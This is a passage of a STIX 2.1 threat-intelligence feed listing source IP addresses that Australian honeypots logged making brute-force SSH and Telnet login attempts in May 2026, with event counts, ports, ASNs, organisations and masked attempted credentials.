      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********1, H**********************3.",
      "id": "indicator--d13e1587-dc43-43c2-9934-49597db44fef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.190.195.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T03:15:10.000Z",
      "valid_until": "2026-06-27T03:15:08.000Z"
    },
    {
      "created": "2026-05-26T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7a1bf79f-4df2-4875-b812-952e37b39d61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.193.10.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:15:10.000Z",
      "valid_until": "2026-06-27T04:15:08.000Z"
    },
    {
      "created": "2026-05-26T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cfcc353f-c100-4516-9871-495c8dbbb69c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.86.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:15:10.000Z",
      "valid_until": "2026-06-27T04:15:08.000Z"
    },
    {
      "created": "2026-05-26T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--f684c532-be1b-4d77-9a82-91ab398b813f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.212.244.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:15:10.000Z",
      "valid_until": "2026-06-27T04:15:08.000Z"
    },
    {
      "created": "2026-05-26T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6190f3d1-0ad5-4f65-b538-794b542087d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.26.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:15:10.000Z",
      "valid_until": "2026-06-27T04:15:08.000Z"
    },
    {
      "created": "2026-05-26T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6, b******************************************************************************************************'. Passwords observed (masked): **, A*******************p, C********9, H**********************3, b***************************'.",
      "id": "indicator--b076ddec-0fb2-4926-93c2-584d46b366a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.125.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:15:10.000Z",
      "valid_until": "2026-06-27T04:15:08.000Z"
    },
    {
      "created": "2026-05-26T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5432. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A.. Usernames observed (masked): p******s. Passwords observed (masked): d**************0.",
      "id": "indicator--7a3e261b-ec71-4751-b3e5-fcfc11a3b518",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:15:10.000Z",
      "valid_until": "2026-06-27T04:15:08.000Z"
    },
    {
      "created": "2026-05-26T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5607. Organisation(s): Sky UK Limited.",
      "id": "indicator--22445c92-3c5d-4ba5-bd2e-111fa80cf13a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '90.218.134.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:15:10.000Z",
      "valid_until": "2026-06-27T04:15:08.000Z"
    },
    {
      "created": "2026-05-26T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c22d7b44-123c-4b09-807b-661029dcfab8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.225.60.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:15:12.000Z",
      "valid_until": "2026-06-27T05:15:08.000Z"
    },
    {
      "created": "2026-05-26T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--562aabdf-6d0c-4843-867a-35fca7f60d92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:15:12.000Z",
      "valid_until": "2026-06-27T05:15:08.000Z"
    },
    {
      "created": "2026-05-26T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 3257. Organisation(s): GTT Communications Inc..",
      "id": "indicator--91d4d49e-f3a5-4f1c-becc-99b43917bb92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '63.141.195.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:15:12.000Z",
      "valid_until": "2026-06-27T05:15:08.000Z"
    },
    {
      "created": "2026-05-26T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--478205db-a0da-4410-9c1e-fd187779b5e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.59.97.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:15:12.000Z",
      "valid_until": "2026-06-27T05:15:08.000Z"
    },
    {
      "created": "2026-05-26T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 84. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c01e98ba-39eb-435b-8dd9-974abc6d2fa3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.118.230.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:15:10.000Z",
      "valid_until": "2026-06-27T06:15:08.000Z"
    },
    {
      "created": "2026-05-26T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 33837. Organisation(s): Fredrik Holmqvist. Usernames observed (masked): s****m. Passwords observed (masked): Z****************o.",
      "id": "indicator--dcce7845-59a0-4df3-8372-74ffe998678e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.80.26.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:15:10.000Z",
      "valid_until": "2026-06-27T06:15:08.000Z"
    },
    {
      "created": "2026-05-26T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, l******3, w**************m.",
      "id": "indicator--e38fc9dd-6941-48d6-af6e-b269152c5dfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.50.152.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:15:11.000Z",
      "valid_until": "2026-06-27T07:15:08.000Z"
    },
    {
      "created": "2026-05-26T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--7bf085b8-db20-4b0b-a580-62665df68f8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.26.206.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:15:11.000Z",
      "valid_until": "2026-06-27T07:15:08.000Z"
    },
    {
      "created": "2026-05-26T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--2b11effe-e251-4f68-a594-220f653d4961",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.93.160.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:15:11.000Z",
      "valid_until": "2026-06-27T07:15:08.000Z"
    },
    {
      "created": "2026-05-26T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--a485e21a-9651-4023-90c8-66719c0f86df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.20.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:15:11.000Z",
      "valid_until": "2026-06-27T07:15:08.000Z"
    },
    {
      "created": "2026-05-26T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bd3d8cb6-8ae7-479c-906a-88e42919091c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:15:11.000Z",
      "valid_until": "2026-06-27T07:15:08.000Z"
    },
    {
      "created": "2026-05-26T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--21041644-d7f4-4b14-a38a-c779720f1279",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.166.66.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:15:11.000Z",
      "valid_until": "2026-06-27T08:15:08.000Z"
    },
    {
      "created": "2026-05-26T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--2445e653-0dac-4704-b3c9-976366cc4a31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.73.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:15:11.000Z",
      "valid_until": "2026-06-27T08:15:08.000Z"
    },
    {
      "created": "2026-05-26T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--ddd46ff4-6bfb-497b-87fd-f8f24c26bf52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.76.49.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:15:11.000Z",
      "valid_until": "2026-06-27T08:15:08.000Z"
    },
    {
      "created": "2026-05-26T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--836f9037-0762-413b-a324-406757ec1c15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.195.176.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:15:11.000Z",
      "valid_until": "2026-06-27T08:15:08.000Z"
    },
    {
      "created": "2026-05-26T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e7f36e97-48bc-40c8-89d2-3da4030ac345",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.227.124.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:15:11.000Z",
      "valid_until": "2026-06-27T08:15:08.000Z"
    },
    {
      "created": "2026-05-26T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135932. Organisation(s): Viet Storage Technology Joint Stock Company.",
      "id": "indicator--db006c74-222d-4a36-a235-df96ea5467a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.140.248.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:15:11.000Z",
      "valid_until": "2026-06-27T09:15:08.000Z"
    },
    {
      "created": "2026-05-26T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 492. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, t**t, d*******r, n****a. Passwords observed (masked): 1****6, p******d, P******d, a****3, a***n.",
      "id": "indicator--52fcc319-524a-4592-999d-88a6f6af7adc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.151.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:15:11.000Z",
      "valid_until": "2026-06-27T09:15:08.000Z"
    },
    {
      "created": "2026-05-26T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 504. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, u**r, c***o, s*****t. Passwords observed (masked): 1**4, a***n, 1***5, a******3, 0*************7.",
      "id": "indicator--197c3bf4-4b88-4b53-87ec-7507d6e2819b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.5.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:15:11.000Z",
      "valid_until": "2026-06-27T09:15:08.000Z"
    },
    {
      "created": "2026-05-26T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, A*******., n********0.",
      "id": "indicator--182101ae-bcd1-46f1-b66b-9970776208d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.155.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:15:11.000Z",
      "valid_until": "2026-06-27T09:15:08.000Z"
    },
    {
      "created": "2026-05-26T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--47e581cc-9ce6-49a3-844b-2e376930a655",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.205.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:15:11.000Z",
      "valid_until": "2026-06-27T09:15:08.000Z"
    },
    {
      "created": "2026-05-26T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: EC. ASN(s): 27947. Organisation(s): Telconet S.A.",
      "id": "indicator--d21fef92-b1eb-4699-8045-3f7adc879116",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.5.106.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:15:11.000Z",
      "valid_until": "2026-06-27T09:15:08.000Z"
    },
    {
      "created": "2026-05-26T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--22a6ff63-3531-403c-a5c0-6b200aa5b4db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.120.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T09:15:11.000Z",
      "valid_until": "2026-06-27T09:15:08.000Z"
    },
    {
      "created": "2026-05-26T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--138b3601-07da-4ca5-b3ca-562383572ebf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.186.77.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:15:11.000Z",
      "valid_until": "2026-06-27T10:15:08.000Z"
    },
    {
      "created": "2026-05-26T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 45814. Organisation(s): Fariya Networks Pvt. Ltd..",
      "id": "indicator--1a77480a-12f2-4d04-92b6-69043fdd2ccc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.192.132.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:15:11.000Z",
      "valid_until": "2026-06-27T10:15:08.000Z"
    },
    {
      "created": "2026-05-26T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC.",
      "id": "indicator--50a75661-f7ea-4983-9fec-6c512805a7bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:15:11.000Z",
      "valid_until": "2026-06-27T10:15:08.000Z"
    },
    {
      "created": "2026-05-26T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--4b6cc609-cdd6-4741-a5a5-fd674fa7cf39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T10:15:11.000Z",
      "valid_until": "2026-06-27T10:15:08.000Z"
    },
    {
      "created": "2026-05-26T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 265743. Organisation(s): COMERCIAL WASHINGTON ERNESTO OYARCE SAZO E.I.R.L. SENALMAX.",
      "id": "indicator--0907c94c-5105-47dc-a076-7c2324486784",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
